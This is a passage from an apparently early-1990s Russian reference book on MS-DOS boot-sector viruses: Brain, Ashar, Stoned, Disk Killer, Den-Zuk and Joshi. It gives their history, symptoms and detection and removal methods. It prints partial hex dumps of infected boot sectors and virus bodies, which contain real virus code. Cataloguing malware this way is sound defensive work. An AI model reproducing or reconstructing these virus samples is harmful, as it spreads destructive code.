относится к  двум последним кластерам дискеты, то вирус использует
его, затирая  два соседних кластера и отмечая все три как сбойные.
Очевидно, что  соответствующий файл(ы)  повреждается и  диск будет
копироваться с ошибками.
  Вирус может  длительное время  находиться в  стадии размножения.
Фаза проявления состоит в переименовании заражаемых дискет.
  Также как и Bx1-1C, вирус Dx3-E9 может загружаться с несистемной
дискеты. При этом после загрузки вирус выдает сообщение:

  Please Insert a Bootable disk
  Then Type [Return]

  Хотя размер  вируса достигает  3К, менее  половины  кода  вируса
действительно  выполняется.   Часть  кода   похоже   не   получает
управления ни при каких обстоятельствах и, возможно, вставлена для
затруднения дисассемблирования и анализа.
  Исторические  замечания.   Оригинальная  версия   вируса  Dx3-E9
является первым  бутовым вирусом  для MS  DOS, получившим массовое
распространение и  была выявлена  в США в октябре 1987 г., где она
вызвала своего  настоящую эпидемию.  Название Brain связано с тем,
что он присваивает имя Brain любой зараженной дискете. Это один из
немногих вирусов,  для которых  установлены авторы:  Basit  Farood
Alvi (19  лет) и  Bruder Amgad  (23 года)  из  Лахора  (Пакистан).
Поэтому иногда  этот вирус  называют "Душманские  мозги". П.Хофман
отмечает наличие ряда штаммов:
  1. Brain-B/Hard  Disk Brain/Houston  Virus  -  штамм  заражающий
винчестер;
  2. Brain-C  - доработанный  штамм Brain-B,  в котором метка "(c)
Brain" удалена;
  3. Clone  Virus -  доработанный штамм  Brain-C, в  котором опять
восстановлена оригинальная метка;
  4. Clone-B  -  наиболее  опасный  штамм  -  версия  Clone  Virus
модифицированная так,  что она  уничтожает  FAT  винчестера  после
5.05.92.
  Рассматриваемый сингапурский  штамм Dx3-E9  был  первым  штаммом
BRAIN, обнаруженным  в СССР. Его выделил А.Сесса в Днепропетровске
в начале  сентября 1989 г. на "дистрибутивных" дискетах с пакетами
Dr. Halo  III и  GeniScan  Edit,  входивших  в  поставочный  пакет
сканера  фирмы   Genius.  По   данным  А.Сессы   вирус   попал   в
Днепропетровск вместе  с компьютерами,  привезенными из Тайваня на
компьютерную ярмарку.

  Первым детектором  для данного вируса был полидетекторор SCAN, а
первым фагом  - программа  NOBRAIN. Как  детектор, так  и фаг были
известны до  появления вируса (распространялись через СОФТПАНОРАМУ
в сентябре-октябре 1989 года).
  Неформальные   названия.   Помимо   приведнного   в   заголовке,
используется название Brain-88 - Душманские мозги-88.
  Методы и  программные средства  защиты.  Рекомандуемые  полифаги
приведены  в   прил.2.   Как   уже   указывалось,   вирус   нельзя
идентифицировать   путем    визуального   просмотра    содержимого
бутсектора, например, с помощью PCTools, на зараженной машине; его
можно  определить,  только  загрузившись  с  системной  защищенной
дискеты.  Поскольку   вирус  размещает  в  соответствующих  байтах
бутсектора свою  подпись,  можно  вручную  вакцинировать  дискеты,
исправляя соответствующие байты бутсектора.

                Бутсектор, зараженный вирусом Brain

000: FAE94A0134120102 0600010020202000  ..J.4.......   .
010: 2020202020205765 6C636F6D6520746F        Welcome to
020: 207468652044756E 67656F6E20202020   the Dungeon
030: 2020202020202020 2020202020202020
040: 2020202020202020 2020202020202020
050: 2028432920313938 3820426173697420   (C) 1988 Basit
060: 2620416D6A616420 2870767429204C74  & Amjad (pvt) Lt
070: 642E202020202020 2020202020202020  d.
080: 20425241494E2043 4F4D505554455220   BRAIN COMPUTER
090: 5345525649434553 2E2E373330204E49  SERVICES..730 NI
0A0: 5A414D20424C4F43 4B20414C4C414D41  ZAM BLOCK ALLAMA
0B0: 20495142414C2054 4F574E2020202020   IQBAL TOWN
0C0: 2020202020202020 20204C61686F7265            Lahore
0D0: 2C50616B69737461 6E2E2050683A2034  ,Pakistan. Ph: 4
0E0: 33303739312C2034 34333234382E2056  30791, 443248. V
0F0: 6572202853696E67 61706F7265292020  er (Singapore)
100: 426577617265206F 6620746869732022  Beware of this "
110: 7669727573222E20 49742077696C6C20  virus". It will
120: 7472616E73666572 20746F206D696C6C  transfer to mill
130: 696F6E206F662044 69736B6574746573  ion of Diskettes
140: 2E2E2E2E20242340 2524402121208CC8  .... $#@%$@!! ..
...  ..  ..  ..  ..   ..  ..  ..  ..    . . . . . . . .

               Фрагменты дампа хвоста вируса Brain,
         расположенного в псевдосбойных кластерах 55 - 57

     +----- начало оригиналь-
     |      ного бутсектора
000: EB349049424D4D53 332E330002020100  .4.IBMMS3.3.....
010: 027000D002FD0200 0900020000000000  .p..............
020: 0000000000000000 0000000000000012  ................
030: 000000000100FA33 C08ED0BC007C1607  .......3.....|..
040: BB780036C5371E56 1653BF2B7CB90B00  .x.6.7.V.S.+|...
050: FCAC26803D007403 268A05AA8AC4E2F1  ..&.=.t.&.......
060: 061F894702C7072B 7CFBCD137267A010  ...G...+|...rg..
...  ..  ..  ..  ..   ..  ..  ..  ..    . . . . . . . .
150: 1A7C88162A7CA339 7CC3B4028B16397C  .|..*|.9|.....9|
160: B106D2E60A363B7C 8BCA86E98A16FD7D  .....6;|.......}
170: 8A362A7CCD13C30D 0A4E6F6E2D537973  .6*|.....Non-Sys
180: 74656D206469736B 206F72206469736B  tem disk or disk
190: 206572726F720D0A 5265706C61636520   error..Replace
1A0: 616E642073747269 6B6520616E79206B  and strike any k
1B0: 6579207768656E20 72656164790D0A00  ey when ready...
1C0: 0D0A4469736B2042 6F6F74206661696C  ..Disk Boot fail
1D0: 7572650D0A004942 4D42494F2020434F  ure...IBMBIO  CO
1E0: 4D49424D444F5320 20434F4D00000000  MIBMDOS  COM....
1F0: 0000000000000000 00000000000055AA  ..............U.
...  ..  ..  ..  ..   ..  ..  ..  ..    . . . . . . . .
00: EB26202843292031 3938382042617369  .& (C) 1988 Basi
210: 74202620416D6A61 6420287076742920  t & Amjad (pvt)
220: 4C74642E00040100 2EC60625021F33C0  Ltd........%..3.
...  ..  ..  ..  ..   ..  ..  ..  ..    . . . . . . . .
340: 0000000000000000 0000000000000000  ................
350: EB25900300202843 2920313938382042  .%... (C) 1988 B
360: 6173697420262041 6D6A616420287076  asit & Amjad (pv
370: 7429204C746420E8 AD00A1BE063DFDFF  t) Ltd ......=..
...  ..  ..  ..  ..   ..  ..  ..  ..    . . . . . . . .
490: 036B000303BE0E01 000101E0D89DD7E0  .k..............
4A0: 9F8D989F8EE02028 432920427261696E  ...... (C) Brain
4B0: 2024E8DB00720A57 E81F005F7203E8D7   $...r.W..._r...
4C0: 00C3BB9B04B90B00 8A07F6D888044643  ..............FC
...  ..  ..  ..  ..   ..  ..  ..  ..    . . . . . . . .

                                  +----- еще одна копия
              |         оригинального
                                  |      бутсектора
6B0: 09C606090000FE06 0B00C3647461EB34  ...........dta.4
6C0: 9049424D4D53332E 3300020201000270  .IBMMS3.3......p
6D0: 00D002FD02000900 0200000000000000  ................
6E0: 0000000000000000 0000000000120000  ................

820: D2E60A363B7C8BCA 86E98A16FD7D8A36  ...6;|.......}.6
830: 2A7CCD13C30D0A4E 6F6E2D5379737465  *|.....Non-Syste
840: 6D206469736B206F 72206469736B2065  m disk or disk e
850: 72726F720D0A5265 706C61636520616E  rror..Replace an
860: 6420737472696B65 20616E79206B6579  d strike any key
870: 207768656E207265 6164790D0A000D0A   when ready.....
880: 4469736B20426F6F 74206661696C7572  Disk Boot failur
890: 650D0A0049424D42 494F2020434F4D49  e...IBMBIO  COMI
8A0: 424D444F53202043 4F4D000000000000  BMDOS  COM......
8B0: 0000000000000000 0000000055AA0000  ............U...
8C0: 0000000000000000 0000000000000000  ................

***    следующие строки идентичны предыдущей   ***

AB0: 0000000000000000 000000000000FDFF  ................
AC0: FF03400005600007 800009A0000BC000  ..@..`..........
AD0: 0DE0000F00011120 0113400115600117  ....... ..@..`..
AE0: 800119A0011BC001 1DE0011F00022120  ..............!
AF0: 0223400225600227 800229A0022BC002  .#@.%`.'..)..+..
B00: 2DE0022F00033120 0333F0FF00000000  -../..1 .3......
B10: 70FFF77FFF000000 0000000000000000  p..............
B20: 0000000000000000 0000000000000000  ................

***    следующие строки идентичны предыдущей   ***

BF0: 0000000000000000 0000000000000000  ................

                       7.2.2. Вирус Dx3-E9
                   (Оригинальная версия BRAIN;
              Pakistani virus - Пакистанский вирус;
                 Brain-86 - Душманские Мозги-86)

  Оригинальная версия  Brain в  СССР, по  видимому, не отмечалась.
Приводимый ниже  фрагмент  бутсектора  воспроизводится  по  статье
[149].
  Исторические замечания.  Выделен и изучен И.Сысоевым. Приводимые
сведения опираются непосредственно на его сообщение на семинаре.
  Неформальные названия.
  Методы и программные средства защиты. Рекомендуется использовать
полифаг AV.

                       Голова вируса BRAIN
          (видна только на незараженной вирусом машине)

000: FAE94A0134120102 2700010000000020  ъщJ4' 
010: 2020202020205765 6C636F6D6520746F        Welcome to
020: 207468652044756E 67656F6E20202020   the Dungeon
030: 2020202020202020 2020202020202020
040: 2020202020202020 2020202020202020
050: 2028632920313938 3620426173697420   (c) 1986 Basit
060: 2620416D6A616420 2870767429204C74  & Amjad (pvt) Lt
070: 642E202020202020 2020202020202020  d.
080: 20425241494E2043 4F4D505554455220   BRAIN COMPUTER
090: 5345525649434553 2E2E373330204E49  SERVICES..730 NI
0A0: 5A414D20424C4F43 4B20414C4C414D41  ZAM BLOCK ALLAMA
0B0: 20495142414C2054 4F574E2020202020   IQBAL TOWN
0C0: 2020202020202020 2020204C41484F52             LAHOR
0D0: 452D50414B495354 414E2E2E50484F4E  E-PAKISTAN..PHON
0F0: 45203A3433303739 312C343433323438  E :430791,443248
100: 2C3238303533302E 2020202020202020  ,280530.
110: 2020426577617265 206F662074686973    Beware of this
120: 2056495255532E2E 2E2E2E436F6E7461   VIRUS.....Conta
130: 637420757320666F 722076616363696E  ct us for vaccin
...  ..  ..  ..  ..   ..  ..  ..  ..    . . . . . . . .

                7.2.3. Штамм Dx3-E9 (Ashar - Ашар)

  Данный штамм  отличается от  предыдущего тем, что помимо дискет,
он заражает  и винчестер. Содержит модифицированное по отношению к
предыдущему вирусу  текстовое сообщение  "VIRUS_SHOE RECORD, v9.0.
Dedicated to  the dynamic memories of millions of virus who are no
longer with  us today".  Последнее, как  и в предыдущем случае, не
видно при  просмотре бутсектора на зараженной машине. Используемое
неформальное название  связано  с  строкой  "(c)  ashar",  которая
обычно содержится в теле вируса со смещением 04A6h.
  Исторические замечания. Данный штамм описан П.Хофман в версии от
10.08.90. Широко  распространен в США. Имеется версия 9.1, которая
в отличие  от рассматриваемой  версии 9.0 не заражает винчестер. В
СССР выделен Д.H.Лозинским в начале 1990 года.
  Неформальные  названия.   Помимо   приведенного   в   заголовке,
используются названия Shoe_Virus, UIUC Virus
  Методы и программные средства защиты.См. предыдущий штамм.

                        Дамп штамма Ashar

000: FAE94A0134120009 1700010000000000  ..J.4...........
010: 57656C636F6D6520 746F207468652020  Welcome to the
020: 44756E67656F6E20 2020202020202020  Dungeon
030: 2863292031393836 20427261696E1726  (c) 1986 Brain.&
040: 20416D6A61647320 2870767429204C74   Amjads (pvt) Lt
050: 6420202056495255 535F53484F452020  d   VIRUS_SHOE
060: 5245434F52442020 2076392E30202020  RECORD   v9.0
070: 4465646963617465 6420746F20746865  Dedicated to the
080: 2064796E616D6963 206D656D6F726965   dynamic memorie
090: 73206F66206D696C 6C696F6E73206F66  s of millions of
0A0: 2076697275732077 686F20617265206E   virus who are n
0B0: 6F206C6F6E676572 2077697468207573  o longer with us
0C0: 20746F646179202D 205468616E6B7320   today - Thanks
0D0: 474F4F444E455353 2121202020202020  GOODNESS!!
0E0: 2042455741524520 4F46205448452065   BEWARE OF THE e
0F0: 722E2E5649525553 20203A205C746869  r..VIRUS  : \thi
100: 732070726F677261 6D20697320636174  s program is cat
110: 6368696E67202020 20202070726F6772  ching      progr
120: 616D20666F6C6C6F 7773206166746572  am follows after
130: 207468657365206D 657373656765732E   these messeges.
140: 2E2E2E2E20242340 2524402121208CC8  .... $#@%$@!! ..
150: 8ED88ED0BC00F0FB A0067CA2097C8B0E  ..........|..|..
160: 077C890E0A7CE857 00B90500BB007EE8  .|...|.W......~.
170: 2A00E84B0081C300 02E2F4A113042D07  *..K..........-.
180: 00A31304B106D3E0 8EC0BE007CBF0000  ............|...
190: B90410FCF3A406B8 000250CB5153B904  ..........P.QS..
...  ..  ..  ..  ..   ..  ..  ..  ..    . . . . . . . .

                  Фрагменты дампа хвоста вируса,
         расположенного в псевдосбойных кластерах 55 - 57

200: EB26286329203139 383620427261696E  .&(c) 1986 Brain
210: 202620416D6A6164 7320287076742920   & Amjads (pvt)
220: 4C74642000040000 2EC60625021F33C0  Ltd .......%..3.
230: 8ED8A14C00A3B401 A14E00A3B601B876  ...L.....N.....v
240: 02A34C008CC8A34E 00B9040033C08EC0  ..L....N....3...
...  ..  ..  ..  ..   ..  ..  ..  ..    . . . . . . . .
340: 0000000000000000 0000000000000000  ................
350: EB25900300202863 2920313938362042  .%... (c) 1986 B
360: 7261696E20262041 6D6A616473202870  rain & Amjads (p
370: 767429204C7464E8 AD00A1BE063DFDFF  vt) Ltd......=..
...  ..  ..  ..  ..   ..  ..  ..  ..    . . . . . . . .
490: 0363000303BE0E01 000101E0D89DD7E0  .c..............
4A0: 9F8D989F8EE02028 6329206173686172  ...... (c) ashar
4B0: 2024E8DB00720A57 E81F005F7203E8D7   $...r.W..._r...
4C0: 00C3BB9B04B90B00 8A07F6D888044643  ..............FC
...  ..  ..  ..  ..   ..  ..  ..  ..    . . . . . . . .
                                  +----- начало оригиналь-
                                  |      ного бутсектора
6B0: 09C606090000FE06 0B00C3647461EB34  ...........dta.4
6C0: 9049424D2020332E 3300020201000270  .IBM  3.3......p
6D0: 00D002FD02000900 0200000000000000  ................
6E0: 0000000000000000 0000000000120000  ................
...  ..  ..  ..  ..   ..  ..  ..  ..    . . . . . . . .
830: 2A7CCD13C30D0A4E 6F6E2D5379737465  *|.....Non-Syste
840: 6D206469736B206F 72206469736B2065  m disk or disk e
850: 72726F720D0A5265 706C61636520616E  rror..Replace an
860: 6420737472696B65 20616E79206B6579  d strike any key
870: 207768656E207265 6164790D0A000D0A   when ready.....
880: 4469736B20426F6F 74206661696C7572  Disk Boot failur
890: 650D0A0049424D42 494F2020434F4D49  e...IBMBIO  COMI
8A0: 424D444F53202043 4F4D000000000000  BMDOS  COM......
8B0: 0000000000000000 0000000055AA0000  ............U...
...  ..  ..  ..  ..   ..  ..  ..  ..    . . . . . . . .

                    7.3. Южнозеландская группа

  Для данной  группы характерно  заражение  MBR  на  винчестере  и
минимальный хвост,  размером  в  один  сектор,  содержащий  только
оригинальный  бутсектор   (или  MBR),  который  размещается  не  в
псевдосбойном кластере,  а  по  определнному  абсолютному  адресу,
приходящемуся на начальные сектора диска.

            7.3.1. Вирус M-05 (Stoned - "Забалдевший")

  Название данного вируса связано с тем, что при загрузке MS DOS с
вероятностью 1/8  на экран  выдается сообщение  "Your  PC  is  now
Stoned", после  которого, с  некоторой задержкой,  возрастающей по
мере  увеличения   количества  перезагрузок   и   сопровождающийся
характерным звуком  выполняется нормальная загрузка. Голова вируса
вируса содержит строку "LEGALISE MARIJUANA!". Хвост состоит только
из оригинального бутсектора.
  Заражение дискет  выполняется стандартным образом. При заражении
винчестера голова  вируса записывается в не в бутсектор раздела С,
а в  абсолютный начальный  сектор  диска,  который  на  винчестере
содержит Partition Table (таблицу разделов диска).
  Расположение хвоста  вируса отличается для дискеты и винчестера.
На дискете  хвост вируса  расположен не  в сбойном  кластере, а  в
секторе с  абсолютным  адресом  (цилиндр/дорожка/сектор)  0/1/3  -
последнем секторе  главного каталога  дискеты. На винчестере хвост
располагается в  свободный  сектор  с  абсолютным  адресом  0/0/7,
который представляет собой неиспользуемое пространство между MBR и
началом логического диска С.
  При заражении  дискеты проверок,  занят ли указанный выше сектор
информацией или  нет, вирус  не  выполняет.  Поэтому  на  дискете,
содержащей в  главном каталоге  много  мелких  программ,  возможно
уничтожение части  каталога. В случае, если винчестер разбит более
чем на  четыре логических  раздела, содержимое  записей  PARTITION
TABLE всех  разделов после  четвертого после  заражения теряется и
информация на  них  становится  недоступной.  Информацию  об  этих
разделах можно восстановить с помощью Norton Disk Doctor.
  Исторические замечания.  Вирус  M-05  впервые  был  обнаружен  в
Веллингтоне (Новая  Зеландия) в начале 1988 г. По данным П.Хоффман
оригинальный вирус  заражал только  пятидюймовые дискеты  360K.  С
этой точки  зрения описанный  выше вирус следует рассматривать как
штамм оригинального  (Stoned-B). В  нашей стране  появился в конце
1989 года  практически одновременно  в нескольких городах. Имеется
несколько  штаммов  среди  которых  отметим  штамм  Stone  Rostov,
описанный ниже,  а также  Stoned-C: штамм  с удаленным сообщением;
Stoned-D :  аналогичен описанному  выше, однако  способен заражать
дискеты типа HD (как трех, так и пятидюймовые).
  Неформальные  названия.   Помимо  приведенных  выше  встречаются
названия: Marijuana  - Марихуана,  Hawaii -  Гаваи, New  Zealand -
Новая Зеландия,  San Diego  - Сан Диего, Smithsonian. Полидетектор
SCAN называет данный вирус "Stoned Virus [Stoned]".
  Методы и  программные средства защиты. Рекомендуемые детекторы и
полифаги приведены  в прил.2.  Простейшим фагом для данного вируса
на дискете  является команда  SYS. Для  незагружаемого диска можно
вручную стереть бутсектор.
         Дамп бутсектора дискеты, зараженной вирусом M-05

000: EA0500C007E99900 0043A300F0E40040  .........C.....@
010: 9F007C00001E5080 FC02721780FC0473  ..|...P...r....s
020: 120AD2750E33C08E D8A03F04A8017503  ...u.3....?...u.
030: E80700581F2EFF2E 0900535152065657  ...X......SQR.VW
040: BE0400B801020E07 BB000233C98BD141  ...........3...A
050: 9C2EFF1E0900730E 33C09C2EFF1E0900  ......s.3.......
060: 4E75E0EB359033F6 BF0002FC0E1FAD3B  Nu..5.3........;
...  ..  ..  ..  ..   ..  ..  ..  ..    . . . . . . . .
170: 1F0E07BEBE03BFBE 01B94202F3A4B801  ..........B.....
180: 0333DBFEC1CD13EB C507596F75722050  .3........Your P
190: 43206973206E6F77 2053746F6E656421  C is now Stoned!
1A0: 070D0A0A004C4547 414C495345204D41  .....LEGALISE MA
1B0: 52494A55414E4121 0000000000000000  RIJUANA!........
1C0: 0000000000000000 0000000000000000  ................
1D0: 0000000000000000 0000000000000000  ................
1E0: 0000000000000000 0000000000000000  ................
1F0: 0000000000000000 0000000000000000  ................
  Следует обратить  внимание, что  в конце  зараженного бутсектора
отсутствует двухбайтовый признак загружаемого бутсектора 55h AAh.

                   7.3.2. Штамм "Stone Rostov"

  Данный штамм  практически идентичен  базисной  версии.  Изменена
лишь часть  кода, связанная  с проявлением вируса: данный штамм не
содержит ни  характерных текстовых  строк ни кода, который выводит
их на дисплей. Вместо этого вставлен код, который при при загрузке
с зараженной  дискеты с  вероятностью 1/32 стирает на винчестере 8
секторов.

                    7.3.3. Вирус "PrintScreen"

  Отличается адресом  хранения хвоста на винчестере (1/3/13 вместо
0/0/7 как в оригинальной версии. При этом может уничтожить один из
секторов FAT.

          7.4. Вирус Bx3-EB (Disk Killer - Диск-киллер)

  Неформальное название  данного вируса  связано с содержащимися в
его теле  текстовыми строками  (см. ниже).  Формально данный вирус
относится к  бутовым вирусам  типа  Вx3,  поскольку  поражает  как
дискеты,  так   и  винчестер,   причем  на  дискете  хвост  вируса
расположен  в   трех  кластерах,   помеченных  как  сбойные.  Дамп
секторов, содержащих  данный вирус,  приведен ниже.  Иногда  из-за
ошибки в  вирусе эти сектора "отнимаются" у некоторого файла, а не
берутся из  свободного пространства  и создается  впечатение,  что
файл заражен данным вирусом. Например автору был передан экземпляр
программы DISKCOPY, содержащей в хвосте тело данного вируса.
  Вирус поражает  и винчестер,  однако размещает  свой хвост  не в
псевдосбойных кластерах,  а в  секторах, расположенных между MBR и
началом раздела С.
  Процесс размножения  стандартен. Данный вирус, как и большинство
бутовых вирусов,  конфликтует с  драйверами дискет, поддерживающих
нестандартные форматы  (например, 720K).  При  этом  либо  система
зависает, либо выдается сообщение о делении на нуль.
  Инфицированный диск  содержит сообщение  и часть  кода вируса  в
бутсекторе. Остальная  часть вируса,  включая копию  оригинального
(т.е. незараженного)  бутсектора,  содержится  в  трех  кластерах,
которые, как уже указывалось выше по разному рамещаются на дискете
и винчестере.
  Фаза  проявления   данного   вируса   состоит   в   прописывании
определенным символом  всего содержимого раздела С. Если винчестер
содержит  несколько   разделов,  то   остальные  разделы  остаются
нетронутыми (при  использовании  ADM).  Вирус  подсчитывает  время
использования диска  с момента  заражения  и  активирусется  после
достижения определнного  значения (примерно  48 часов). Обычно это
означает  1-6   недель  с   момента  заражения  в  зависимости  от
интенсивности использования компьютера. Фаза проявления начинается
с выдачи сообщения, содержащегося в коде вируса.

  "Disk Killer -- Version 1.00 by COMPUTER OGRE 04/01/89
  Warning!!
  Don't turn off the power or remove the diskette while Disk
  Killer is Processing!
  PROCESSING
  Now you can turn off the power. I wish you Luck!"

  Следует отметить,  что в  этот момент  еще  можно  спасти  часть
информации  нажав   на  кнопку  перезагрузки  (теряются  системные
блоки). Затем  вирус кодирует  сектора выполняя  операцию  XOR  со
значениями 0AAAAh  и 05555h.  Как известно  операция XOR обратима,
поэтому можно  восстановить перекодированную  информацию.  Утилита
для этой цели находится в стадии разработки.
  Исторические замечания.  В теле  вируса содержится дата 04.01.89
(по-видимому,   в    американском    формате),    которую    можно
интерпретировать как дату создания вируса. По данным П.Хоффман был
выделен  в   Калифорнии  в  апреле  1989  г.  и  имеет  тайванское
происхождение.В нашей стране вирус появился в начале 1990 года.
  Неформальные названия.  Полидетектор SCAN  называет данный вирус
"Disk Killer  Virus [Killer]".  Другими неформальными  названиями,
помимо приведенных  в заголовке  являются Ogre  - Людоед, Computer
Ogre, Disk Ogre.
  Методы   и    программные   средства    защиты.   Вирус    можно
идентифицировать   путем    визуального   просмотра    содержимого
бутсектора, например, Norton Utilities. В качестве детектора может
использоваться полидетектор  SCAN. Вместо  фага можно использовать
команду SYS.

           Дамп бутсектора, зараженного вирусом Bx3-EB

000: FAEB4F4D53444F53 332E330002020100  ..OMSDOS3.3.....
010: 027000D002FD0200 0900020000000000  .p..............
020: 0000000000000000 0000000000000012  ................
030: 000000000100FA33 C08ED0BC0000CB3C  .......3.......<
040: B200AE0000007400 0000005500000000  ......t....U....
050: 55552EA11304B106 D3E08ED8813E3E00  UU...........>>.
060: CB3C75081E8D063B 0250FBCBB8007CB1  .<u....;.P....
...  ..  ..  ..  ..   ..  ..  ..  ..    ...   ...   ...
1C0: F501A33F01EB0C90 B80000A34101FEC4  ...?........A...
1D0: A33F01B90300B001 51E867FF597308B4  .?......Q.g.Ys..
1E0: 00CD83E2F3F9C3F8 C300000000000000  ................
1F0: 0000000080010100 00000000000055AA  ..............U.

    Фрагмент дампа первого псевдосбойного сектора с телом вируса
                           Disk Killer

000: FA2EC60664018333 C08ED8A12000A304  ....d..3.... ...
010: 02A12200A30602A1 4C00A30C02A14E00  ..".....L.....N.
020: A30E02B87B02A320 00B88F02A34C008C  ....{.. .....L..
030: C8A32200A34E00FB EB159033C08ED88C  .."..N.....3....
040: C88EC0BE037CBF03 00B94700FCF3A433  .....|....G....3
...  ..  ..  ..  ..   ..  ..  ..  ..    . . . . . . . .

            Фрагмент дампа сектора с текстовой информацией

500: 00C70641010000C6 064001018CC88EC0  ...A.....@......
510: BBA208B001E82FFA B80006B90000BA4F  ....../........O
520: 18BB0800CD10B402 B700BA000CCD10BB  ................
530: 2C00BEDF07E85101 EBFE4469736B204B  ,.....Q...Disk K
540: 696C6C6572202D2D 2056657273696F6E  iller -- Version
550: 20312E3030206279 20434F4D50555445   1.00 by COMPUTE
560: 52204F4752452030 342F30312F313938  R OGRE 04/01/198
570: 390D0A005761726E 696E672021210D0A  9...Warning !!..
580: 0A446F6E27742074 75726E206F666620  .Don't turn off
590: 74686520706F7765 72206F722072656D  the power or rem
5A0: 6F76652074686520 6469736B65747465  ove the diskette
5B0: 207768696C652044 69736B204B696C6C   while Disk Kill
5C0: 6572206973205072 6F63657373696E67  er is Processing
5D0: 210050524F434553 53494E470D0A004E  !.PROCESSING...N
5E0: 6F7720796F752063 616E207475726E20  ow you can turn
5F0: 6F66662074686520 706F7765722E0D0A  off the power...
600: 0A49207769736820 796F75206C75636B  .I wish you luck
610: 20210057B93A00BE A508BF0300FCF3A4   !.W.:..........
620: 5FC3C60632080290 EB09C60632080390  _...2.......2...
630: EB01005033D28B0E 1A00F7F1C6064001  ...P3.........@.
640: 0188163F01A34101 A162088EC08A2632  ...?..A..b....&2
650: 08A01800E8F4F873 05B400CD13F958C3  .......s......X.
660: 00000000501EFF36 62081F2E8B0E6008  ....P..6b.....`.

               7.5. Вирус D-29 (Den-Zuk - Ден-Зук)

  Неформальное название  данного вируса  связано с  тем, что вирус
выдает на  экран надпись Den-Zuk. Формально данный вирус относится
к бутовым вирусам типа D, поскольку заражает только дискеты, так и
винчестер, причем  хвост вируса  расположен на 41 дорожке дискеты,
что приводит  к тому,  что при  копировании зараженной  дискеты  с
помощью DISKCOPY, PC TOOLS и т.д. он теряется.
  Следует обратить  внимание, что  вирус сохраняет характерные для
незераженного вируса  текстовые  сообщения  в  бутсекторе.  Данный
вирус, как и большинство бутовых вирусов, конфликтует с драйверами
дискет, поддерживающих нестандартные форматы (например, 720K). При
этом либо  система зависает,  либо выдается сообщение о делении на
нуль. Хвост вируса расположен на 41 дорожке дискеты. В теле хвоста
имеются текстовые строки

  "Welcome to the
  C l u b
  --The HackerS-
  Hackin'
  All The Time
  The HackerS"

  При заражении  дискет уже  зараженных вирусами  BRAIN и Ohio Den
Zuk распознает  эти  виирусы  и  удаляет  их  с  дискет.  Дискеты,
зараженные  вирусам   BRAIN  также   могут  быть  переименованы  в
"Y.C.1.E.R.P.".
  Исторические замечания.  По данным П.Хофман вирус был разработан
в Индонезии  программистом или программистами, которые разработали
вирус Ohio.  В СССР  был впервые  обнаружен в  Москве С.Алексеевым
весной 1990.  Существуют штаммы  вируса, подсчитывающие количество
перезагрузок и  после того как счетчик достигнет значения 5 или 10
форматирующие дискету.
  Неформальные названия.  Полидетектор SCAN  называет данный вирус
Den Zuk.  Другими названиями  являются Search (поиск) и Venezuelan
(венесуэльский).
  Методы   и    программные   средства    защиты.   Вирус    можно
идентифицировать   путем    визуального   просмотра    содержимого
бутсектора, например, Norton Utilities. В качестве детектора может
использоваться полидетектор  SCAN. Вместо  фага можно использовать
команду SYS.

            Дамп бутсектора, зараженного вирусом D-29

000: EB29904934120001 002E320002020100  .).I4.....2.....
010: 027000D002FD0200 0900020000000000  .p..............
020: 000000000F000000 000100FAFA8CC88E  ................
030: D88ED0BC00F0FBB8 787C50C3730ABB90  ........x|P.s...
040: 7C53C3B9B07C51C3 33C08ED8A1130483  |S...|Q.3.......
050: 3EF604007509A3F6 042D0700A31304B1  >...u....-......
060: 06D3E00E1F8EC0BE 007C33FFB90014FC  .........|3.....
070: F3A406B8000450CB 32E4CD13720D33D2  ......P.2...r.3.
080: B92128BB007EB809 02CD13B83C7C50C3  .!(..~......<|P.
090: BE5F7DB9480032FF 8A04B40ECD1046E2  ._}.H.2.......F.
...  ..  ..  ..  ..   ..  ..  ..  ..    . . . . . . . .
150: 0A36307C8BCA86E9 8B161E7CCD13C30D  .60|.......|....
160: 0A4E6F6E2D537973 74656D206469736B  .Non-System disk
170: 206F72206469736B 206572726F720D0A   or disk error..
180: 5265706C61636520 616E642073747269  Replace and stri
190: 6B6520616E79206B 6579207768656E20  ke any key when
1A0: 72656164790D0A00 0D0A4469736B2042  ready.....Disk B
1B0: 6F6F74206661696C 7572650D0A004942  oot failure...IB
1C0: 4D42494F2020434F 4D49424D444F5320  MBIO  COMIBMDOS
1D0: 20434F4D00000000 0000000000000000   COM............
1E0: 0000000000000000 0000000000000000  ................
1F0: 000000497A616B00 00000000000055AA  ...Izak.......U.

                      7.6. Индийская группа

                7.6.1. Вирус WM-1F (Joshi - Джоши)

  Название данного вируса связано с тем, что при загрузке MS DOS с
5 января  любого года  на экран  выдается соообщение  Type  "Happy
Birthday Joshi"  ! и  компьютер ожидает  ответа. Если ввести ответ
Happy Birthday  Joshi то  загрузка  будет  продолжена.  По  данным
Д.Н.Лозинского при  программировании выдачи сообщения автор вируса
ориентировался только на цветной монитор.
  Вирус WM-1F является наиболее скрытным и тщательно маскирующимся
из попавших в CCCР бутовых вирусов. Это единственный из попавших в
СССР вирусов,  который "переживает"  теплую перезагрузку. Заражает
как 360К, так и 1.2М дискеты, а также винчестер.
  Заражает дискеты  емкостью как  360К, так  и 1.2М. При заражении
дискет,  подобно   вирусу  D-29  (Den-Zuk),  записывает  хвост  на
дополнительную дорожку  (41 для  360К дискет, 81 для 1.2М дискет).
При  заражении   дискеты  проверок,  занят  ли  указанные  сектора
информацией или  нет, вирус  не  выполняет.  Поэтому  на  дискете,
содержащей на  41 дорожке  какую-то информацию  (например  "замок"
защиты от  копирования), она  будет уничтожена.  Как  обычно,  для
заражения  достаточно   единственно  обращения   к   дискете   при
резидентном вирусе.
  Похоже автор  был знаком  с  особенностями  формата  1.2M  очень
слабо. Распознавание  дискет  1.2M  выполняется  некорректно  -  с
помощью попытки  чтения 17 сектора. Поэтому возможно распознавание
дискет 1.2М  как 360 и "вклеивание" тела вируса в середину дискеты
с соответствующими последствиями.
  Более того,  при попытке  разметить дискету  1.2M на  зараженной
машине начинаются  "фокусы": из  меню PC  TOOLS этот  формат может
пропасть,  размеченные   дискеты  сбоят  и  т.д.  Эта  характерная
особенность  данного  вируса  может  служить  достаточно  надежным
признаком зараженности машины данным вирусом.
  При заражении  винчестера голова  вируса  записывается  в  не  в
бутсектор раздела  С,  а  в  абсолютный  начальный  сектор  диска,
который на  винчестере содержит  Partition Table (таблицу разделов
диска), т.е.  аналогично вирусу  M-05  (Stoned).  При  этом  хвост
вируса располагается  в  восьми  секторах  начиная  с  абсолютного
адреса 0/0/2, т.е. сектора, следующего за MBR (как уже отмечалось,
обычно эти  сектора представляют собой неиспользуемое пространство
